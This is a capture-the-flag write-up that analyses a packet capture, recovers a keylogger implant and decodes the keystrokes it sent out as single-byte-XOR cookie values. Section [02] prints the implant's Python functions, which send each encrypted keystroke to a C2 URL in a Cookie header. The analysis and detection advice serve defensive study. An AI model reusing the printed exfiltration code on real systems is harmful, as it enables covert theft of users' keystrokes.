// TL;DR
  • pcap from the guest net: http filter, sort by Length, find the biggest source.
  • the server serves /temp/updates.py: a keylogger exfiltrating each keystroke in the hotel_sess_state Cookie.
  • GET / beacon every second: pull the cookies in order with tshark -e http.cookie.
  • it encrypts one character at a time: the key index never advances, so it stays single-byte XOR with H.
  • Base64 + XOR H in CyberChef → THM{...}.
// before you start

No box to deploy: you work on the file attached to the room, on your machine. You need: Wireshark (with tshark) and python3; optional CyberChef in the browser.

[01] Recon: the pcap and the tip

I download the pcap and open it in Wireshark. @0xMia already did half the work by naming port 8080, so I start there: I apply an http filter to drop the noise and keep only the traffic that matters.

# Wireshark: isolo l'HTTP e ordino per Length
http
# la risposta piu' grande di solito nasconde qualcosa in piu'
# Wireshark: isolate HTTP and sort by Length
http
# the biggest response usually hides something extra

I sort by the Length column and hunt for the fattest packet: in a sea of identical GET/POST requests, the one that's off the scale is almost always where the case cracks open. And it does.

[02] The served source: a keylogger

The fat packet is a response with Content-type: text/x-python: a GET /temp/updates.py returning the full source of the running script, served from the same host. Selecting the packet only shows the dissection: to pull the readable body I right-click → Follow → HTTP Stream (or File → Export Objects → HTTP and save updates.py). In practice the C2 hands me its own implant on a silver platter.

# keylogger servito da /temp/updates.py (Content-type: text/x-python)
C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    # chiave "robusta" da 25 caratteri
    return "H0t3lSt@ff0Nly" + "K3epS3cr3t!"

def xor(data, key):
    # indicizza la chiave con i % len(key)
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    # cifra UN carattere alla volta, poi base64
    enc = xor(character.encode(), getkey().encode())
    b64 = base64.b64encode(enc).decode()
    headers = {"Cookie": f"hotel_sess_state={b64}"}
    requests.get(C2_URL, headers=headers, timeout=0.5)
# keylogger served from /temp/updates.py (Content-type: text/x-python)
C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    # a "robust" 25-char key
    return "H0t3lSt@ff0Nly" + "K3epS3cr3t!"

def xor(data, key):
    # indexes the key with i % len(key)
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    # encrypts ONE character at a time, then base64
    enc = xor(character.encode(), getkey().encode())
    b64 = base64.b64encode(enc).decode()
    headers = {"Cookie": f"hotel_sess_state={b64}"}
    requests.get(C2_URL, headers=headers, timeout=0.5)

It's a textbook keylogger: every keystroke gets XOR'd, base64'd and shipped inside the Cookie header (hotel_sess_state) of a GET / to the C2. That explains the "pings every second" and the suspicious ByteLotusClient/1.1 User-Agent @0xMia noticed. Method note, and the first of my observations: leaving the implant on the webroot is an attacker OPSEC blunder that here spares us blind reversing.

[03] Extracting the covert channel

Now I want the beacon traffic — not the GET /temp/updates.py, but the repeated GET / to byte-lotus-hotel.thm:8080 — and from each one the Cookie value, in order. Two roads, same destination. Heads-up: the cookies.txt the [04] script runs on is only produced by the tshark road; if I use the GUI column I export it first with File → Export Packet Dissections → As CSV (or copy the column) so both roads land on the same cookies.txt.

Custom column (GUI)TShark (CLI)
HowRight-click the Cookie field in the packet details → "Apply as Column", filter on http.request, sort by time, read the new column straight down.One command that pulls the Cookie header from every matching packet, already in capture order.
SpeedManual but quick, once the column is set up.Fastest by far: one command, done.
# salvo il Cookie di OGNI beacon (GET / con hotel_sess_state), in ordine di cattura
tshark -r <capture.pcap> -Y 'http.cookie contains "hotel_sess_state"' \
       -T fields -e http.cookie > cookies.txt
# save the Cookie of EVERY beacon (GET / with hotel_sess_state), in capture order
tshark -r <capture.pcap> -Y 'http.cookie contains "hotel_sess_state"' \
       -T fields -e http.cookie > cookies.txt
# cookies.txt: una riga per tasto, formato hotel_sess_state=<base64>
hotel_sess_state=████
hotel_sess_state=████
hotel_sess_state=████
# ... 30 righe in totale (valori mascherati: policy)
# cookies.txt: one line per key, format hotel_sess_state=<base64>
hotel_sess_state=████
hotel_sess_state=████
hotel_sess_state=████
# ... 30 lines total (values masked: policy)

Result: 30 base64 strings, one per keystroke. Each decodes to a single encrypted byte. Now I just have to reverse the encryption.

[04] Decoding: single-byte XOR

To decode I retrace the script backwards: base64-decode and then XOR with the same key. The real question is: which part of the key?

Here's the detail I enjoy. xor() indexes the key with i % len(key), but sendltr() encrypts one character at a time: the message is 1 byte long, so i is always 0 and the index never moves past the first character. The "robust" 25-char key collapses to a single byte: H (0x48). It's effectively single-byte XOR — brute-forceable in 256 tries, and with THM{ as known plaintext you don't even need to guess the key: it generalizes to any "per-token encryption" that resets its state on every call.

# decodifica: strip prefisso, base64, XOR con 'H' (0x48) — XOR a byte singolo
python3 -c 'import base64
out=""
for line in open("cookies.txt"):
    v=line.strip().split("hotel_sess_state=")[-1]
    if not v: continue
    out+="".join(chr(x^0x48) for x in base64.b64decode(v))
print(out)'
# -> la flag (in chiaro solo sul TUO pcap)
# decode: strip prefix, base64, XOR with 'H' (0x48) -- single-byte XOR
python3 -c 'import base64
out=""
for line in open("cookies.txt"):
    v=line.strip().split("hotel_sess_state=")[-1]
    if not v: continue
    out+="".join(chr(x^0x48) for x in base64.b64decode(v))
print(out)'
# -> the flag (cleartext only on YOUR pcap)

[05] Flag and defense

Careful: cookies.txt still carries the hotel_sess_state= prefix on every line, and the From Base64 op would eat it as data and return garbage bytes. I strip it first (or add a Find / Replace hotel_sess_state= → empty at the top of the recipe), then run the clean base64 through the CyberChef recipe (From Base64XOR with key H, standard scheme) and the bytes realign into readable text. There's the flag.

# tolgo il prefisso hotel_sess_state= (From Base64 lo mangerebbe come dati)
sed 's/^hotel_sess_state=//' cookies.txt > b64.txt
# poi incollo b64.txt in CyberChef (oppure Find/Replace hotel_sess_state= -> vuoto in cima alla ricetta)
# strip the hotel_sess_state= prefix (From Base64 would eat it as data)
sed 's/^hotel_sess_state=//' cookies.txt > b64.txt
# then paste b64.txt into CyberChef (or a Find/Replace hotel_sess_state= -> empty at the top of the recipe)
// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

The takeaway isn't the single crypto trick, but how it showed itself. This channel needed no sophisticated malware: a perfectly valid Cookie header on a perfectly normal GET.

// lesson

Malicious traffic doesn't have to look scary: what gave it away was the pattern, not the content — same host, same port, a beacon every second, a fixed User-Agent. Defend on behavior: periodicity and zero jitter, anomalous entropy in cookie values, sessions that never actually establish. And if a server hands you the source (/temp/updates.py), read it: attacker-side, don't leave the implant on the webroot; defender-side, that file is your signed confession.